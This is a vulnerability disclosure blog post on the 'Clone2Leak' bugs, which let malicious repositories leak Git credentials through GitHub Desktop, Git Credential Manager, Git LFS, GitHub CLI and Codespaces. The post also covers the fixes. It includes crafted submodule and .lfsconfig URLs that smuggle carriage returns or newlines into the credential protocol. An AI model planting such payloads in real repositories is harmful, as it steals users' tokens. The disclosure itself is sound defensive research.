GMO Flatt Security Research
January 26, 2025

Clone2Leak: Your Git Credentials Belong To Us

Posted on January 26, 2025  •  11 minutes  • 2139 words
Table of contents

Introduction

Hello, I’m RyotaK ( @ryotkak ), a security engineer at GMO Flatt Security Inc.

In October 2024, I was hunting bugs for the GitHub Bug Bounty program. After investigating GitHub Enterprise Server for a while, I felt bored and decided to try to find bugs on GitHub Desktop instead.

After reading the source code of GitHub Desktop, I found a bug that allows a malicious repository to leak the user’s credentials.
Since the concept of the bug is interesting, I decided to investigate other Git-related projects and found many bugs.

In this blog post, I will share the details of the bugs I found.

TL;DR

Git implements a protocol called Git Credential Protocol to retrieve credentials from the credential helper.

The credential helper is a program that stores and provides credentials for Git. Some examples of the credential helper are git-credential-store, git-credential-winstore, and git-credential-osxkeychain.

Because of improper handling of messages, many projects were vulnerable to credential leakage in various ways.

Git Credential Protocol

When retrieving credentials from the credential helper, Git sends a message like the following to the credential helper:

protocol=https
host=github.com

The credential helper then returns a message like the following:

protocol=https
host=github.com
username=USERNAME
password=PASSWORD

Each messages are separated by a newline character (\n), and parsed on both Git and the credential helper.
To prevent the injection of properties, Git explicitly forbids the newline character and NULL byte in the property name and value.

GitHub Desktop improper regular expression permits the carriage return smuggling (CVE-2025-23040)

GitHub Desktop has a feature that supplies the credentials to a Git client automatically.
This feature is implemented by the credential helper called trampoline, which has the following code to handle the credential protocol:

app/src/lib/trampoline/trampoline-credential-helper.ts

  const input = parseCredential(command.stdin)
    [...]
    if (firstParameter === 'get') {
      const cred = await getCredential(input, store, token)
      if (!cred) {
        const endpoint = `${getCredentialUrl(input)}`
        info(`could not find credential for ${endpoint}`)
        setHasRejectedCredentialsForEndpoint(token, endpoint)
      }
      return cred ? formatCredential(cred) : undefined
    } else if (firstParameter === 'store') {
      await storeCredential(input, store, token)
    } else if (firstParameter === 'erase') {
      await eraseCredential(input, store, token)
    }
    return undefined

When trampoline receives the message, it parses the message with the parseCredential function.

app/src/lib/git/credential.ts line 3-28

export const parseCredential = (value: string) => {
  const cred = new Map<string, string>()

  // The credential helper protocol is a simple key=value format but some of its
  // keys are actually arrays which are represented as multiple key[] entries.
  // Since we're currently storing credentials as a Map we need to handle this
  // and expand multiple key[] entries into a key[0], key[1]... key[n] sequence.
  // We then remove the number from the key when we're formatting the credential
  for (const [, k, v] of value.matchAll(/^(.*?)=(.*)$/gm)) {
    if (k.endsWith('[]')) {
      let i = 0
      let newKey

      do {
        newKey = `${k.slice(0, -2)}[${i}]`
        i++
      } while (cred.has(newKey))

      cred.set(newKey, v)
    } else {
      cred.set(k, v)
    }
  }

  return cred
}

At first glance, this code parses the message properly with regular expression.
However, there is a pitfall in the specification of the regular expression in the ECMAScript.

When the m (multiline) flag is set, the regular expression searches the string across multiple lines.

ECMAScript 2025 (ECMA-262) defines the line terminator as the following:

ECMAScript® 2025 Language Specification

LineTerminator ::
    <LF>
    <CR>
    <LS>
    <PS>

These characters are corresponding to the newline character (\n), carriage return (\r), line separator (\u2028), and paragraph separator (\u2029).

Since the multiline mode uses the line terminator to separate the lines, this regular expression splits the message with those characters, although Git Credential Protocol only delimits the messages by the newline character (\n).

This difference allows a malicious repository with a crafted submodule pointing to the following URL to leak the credential:

http://%0dprotocol=https%0dhost=github.com%0d@localhost:13337/

The %0d is the hexadecimal representation of the carriage return (\r).

When Git sees the above URL, it sends the following message to the credential helper (the \r is the carriage return character):

protocol=http
host=localhost
username=\rprotocol=https\rhost=github.com\r

While Git still recognizes localhost as the host, GitHub Desktop will recognize github.com as the host, which then returns the credential for github.com to Git.

Since Git recognizes localhost as the host, it will send the credential of github.com to localhost, essentially leaking the credential.

Git Credential Manager improper usage of StreamReader allows the carriage return smuggling (CVE-2024-50338)

Git Credential Manager is a cross-platform credential helper for Git, which is built on .NET.

Similar to GitHub Desktop, Git Credential Manager also improperly handles the credential protocol.
But this time, it was caused by the .NET’s StreamReader class.

When reading the message for the credential protocol, Git Credential Manager uses the StreamReader class to read the message.

src/shared/Core/StandardStreams.cs line 36-47

        public TextReader In
        {
            get
            {
                if (_stdIn == null)
                {
                    _stdIn = new StreamReader(Console.OpenStandardInput(), EncodingEx.UTF8NoBom);
                }

                return _stdIn;
            }
        }

Since the StreamReader class splits the line with the \n, \r, and \r\n, an attack similar to GitHub Desktop’s case can be applied to Git Credential Manager.

StreamReader.ReadLine Method - Microsoft Learn

A line is defined as a sequence of characters followed by a line feed ("\n"), a carriage return ("\r"), or a carriage return immediately followed by a line feed ("\r\n").

Git LFS newline injection to leak the credential (CVE-2024-53263)

The above two bugs are caused by the improper handling of the carriage return character on the credential helper side.
But, what if Git client itself allows the injection of a newline character?

(Un)fortunately, Git itself has protection against the newline injection, which completely blocks the attack.

credential.c line 392-393

	if (strchr(value, '\n'))
		die("credential value for %s contains newline", key);

However, there is another client that invokes the credential helper; Git LFS.

Git LFS is an extension for Git, which is used to manage large files. It’s spawned as the child process of Git.
To communicate with the Git LFS endpoint, it invokes the credential helper.

creds/creds.go line 337-342

	cmd, err := subprocess.ExecCommand("git", "credential", subcommand)
	if err != nil {
		return nil, errors.New(tr.Tr.Get("failed to find `git credential %s`: %v", subcommand, err))
	}
	cmd.Stdin = bufferCreds(input)
	cmd.Stdout = output

The bufferCreds function is a function that sends the host information to the credential helper.

creds/creds.go line 61-76

func bufferCreds(c Creds) *bytes.Buffer {
	buf := new(bytes.Buffer)

	buf.Write([]byte("capability[]=authtype\n"))
	buf.Write([]byte("capability[]=state\n"))
	for k, v := range c {
		for _, item := range v {
			buf.Write([]byte(k))
			buf.Write([]byte("="))
			buf.Write([]byte(item))
			buf.Write([]byte("\n"))
		}
	}

	return buf
}

As you can see, this function does not reject the newline character.
Since Git validates the URL before invoking Git LFS, it may look fine at first glance.

credential.c line 569-581

static int check_url_component(const char *url, int quiet,
			       const char *name, const char *value)
{
	if (!value)
		return 0;
	if (!strchr(value, '\n'))
		return 0;

	if (!quiet)
		warning(_("url contains a newline in its %s component: %s"),
			name, url);
	return -1;
}

However, Git LFS supports the specification of arbitrary URLs from a file named .lfsconfig, which is included in the repository.

git-lfs-config(5) General settings

- `lfs.url` / `remote.<remote>.lfsurl`
The url used to call the Git LFS remote API. Default blank (derive from clone URL).

Since Git itself doesn’t use .lfsconfig file, specifying the URL that contains the newline character in .lfsconfig causes Git LFS to insert the newline character into the message, while bypassing the Git’s validation.

[lfs]
        url = http://%0Ahost=github.com%0Aprotocol=https%0A@localhost:13337/

When Git LFS attempts to retrieve the credential for the above URL, it sends the following message to the credential helper:

capability[]=authtype
capability[]=state
protocol=http
host=localhost
username=
host=github.com
protocol=https

Then, as the credential helper uses the last occurrence of the property, it will return the credential for github.com to Git LFS, essentially leaking the credential to localhost:13337.

Defense-in-Depth mitigation on Git (CVE-2024-52006)

To mitigate the issues caused by the carriage return smuggling, Git decided to consider it as a vulnerability (CVE-2024-52006) on Git itself and add a new validation to the credential protocol.

When the credential.protectProtocol config is set to true, Git will reject the URL that contains the carriage return character.

credential.c line 403-406

	if (c->protect_protocol && strchr(value, '\r'))
		die("credential value for %s contains carriage return\n"
		    "If this is intended, set `credential.protectProtocol=false`",
		    key);

Since the credential.protectProtocol config is set to true by default, this patch automatically mitigates the potential vulnerabilities in other credential helpers.

The same mitigation is also applied to the Git LFS:

creds/creds.go line 71-73

if protectProtocol && strings.Contains(item, "\r") {
    return nil, errors.Errorf(tr.Tr.Get("credential value for %s contains carriage return: %q\nIf this is intended, set `credential.protectProtocol=false`", k, item))
}

GitHub CLI leaks the access token to arbitrary hosts (CVE-2024-53858)

While the above mitigations are effective for carriage return smuggling, there were a few logic vulnerabilities that couldn’t be mitigated by the above mitigations.

One of those vulnerabilities existed in GitHub CLI.

There is a credential helper in GitHub CLI, but unlike the above credential helpers, it didn’t have an issue regarding the newline character or the carriage return character.

However, when finding the credential to return, the following tokenForHost function is used:

pkg/auth/auth.go line 64-94

func tokenForHost(cfg *config.Config, host string) (string, string) {
	host = NormalizeHostname(host)
	if IsEnterprise(host) {
		if token := os.Getenv(ghEnterpriseToken); token != "" {
			return token, ghEnterpriseToken
		}
		if token := os.Getenv(githubEnterpriseToken); token != "" {
			return token, githubEnterpriseToken
		}
		if isCodespaces, _ := strconv.ParseBool(os.Getenv(codespaces)); isCodespaces {
			if token := os.Getenv(githubToken); token != "" {
				return token, githubToken
			}
		}
		if cfg != nil {
			token, _ := cfg.Get([]string{hostsKey, host, oauthToken})
			return token, oauthToken
		}
	}
	if token := os.Getenv(ghToken); token != "" {
		return token, ghToken
	}
	if token := os.Getenv(githubToken); token != "" {
		return token, githubToken
	}
	if cfg != nil {
		token, _ := cfg.Get([]string{hostsKey, host, oauthToken})
		return token, oauthToken
	}
	return "", defaultSource
}

The IsEnterprise function checks if the host is an enterprise host, but it always returns true when the host is not a GitHub-owned instance.

pkg/auth/auth.go line 153-158

// IsEnterprise determines if a provided host is a GitHub Enterprise Server instance,
// rather than GitHub.com or a tenancy GitHub instance.
func IsEnterprise(host string) bool {
	normalizedHost := NormalizeHostname(host)
	return normalizedHost != github && normalizedHost != localhost && !IsTenancy(normalizedHost)
}

So, it will always send the access token to the arbitrary hosts if either the GH_ENTERPRISE_TOKEN, GITHUB_ENTERPRISE_TOKEN, or the CODESPACES=true and the GITHUB_TOKEN environment variable is set.

While both enterprise-related variables are not common, the CODESPACES environment variable is always set to true when running on GitHub Codespaces.
So, cloning a malicious repository on GitHub Codespaces using GitHub CLI will always leak the access token to the attacker’s hosts.

Broken credential helper on GitHub Codespaces leaks the access token to arbitrary hosts

While validating GitHub CLI’s vulnerability, I noticed that Codespaces allow the associated repository to be cloned into the Codespaces, even if the repository is private.

After checking the configuration, I noticed that the Codespaces has the credential.helper option set to /.codespaces/bin/gitcredential_github.sh.

/.codespaces/bin/gitcredential_github.sh

#!/bin/sh
echo protocol=https
echo host=github.com
echo path=
echo username=PersonalAccessToken
echo password=$GITHUB_TOKEN

As you can see, the credential helper script is very simple, and it always returns the GITHUB_TOKEN to Git.

While the host parameter is set to github.com, Git doesn’t validate whether the returned host parameter matches the currently requested host.
So, the Git client on Codespaces will always send the GITHUB_TOKEN to the domain that hosts the repositories, even if the repository is not on GitHub.com.

The initial patch of GitHub used the per-host configuration like the following to only use the credential helper on GitHub.com:

credential.https://github.com.helper=/.codespaces/bin/gitcredential_github.sh

Later, they updated the credential helper to validate a requested host:

if [ "$url" = "$GITHUB_SERVER_URL" ]; then
    echo username=PersonalAccessToken
    echo password=$GITHUB_TOKEN
fi

A similar vulnerability can also occur when manually setting the credential.helper option to a credential helper script.
For example, the Git documentation has an example of the credential helper script, that will always return the password:

Git Tools - Credential Storage

!f() { echo "password=s3cre7"; }; f

So, if you’re using this kind of credential helper script, I’d recommend that you validate the requested host and return the credential only when the host matches, or configure the credential helper on a per-host basis.

Conclusion

In this article, I wrote about the series of vulnerabilities that I found on Git-related projects.

As we saw, text-based protocols are often vulnerable to injection, and a small architecture flaw can lead to a big security issue.

I hope that this research helped the Git community to improve its security, and I am looking forward to seeing further research on Git-related projects.

Shameless Plug

At GMO Flatt Security, we specialize in providing top-notch security assessment and penetration testing services. Our expertise spans a wide range of targets, from web applications to IoT devices.

We also offer a powerful security assessment tool called Shisho Cloud, which combines Cloud Security Posture Management (CSPM) and Cloud Infrastructure Entitlement Management (CIEM) capabilities with Dynamic Application Security Testing (DAST) for web applications.

If you’re interested in learning more, feel free to reach out to us at https://flatt.tech/en .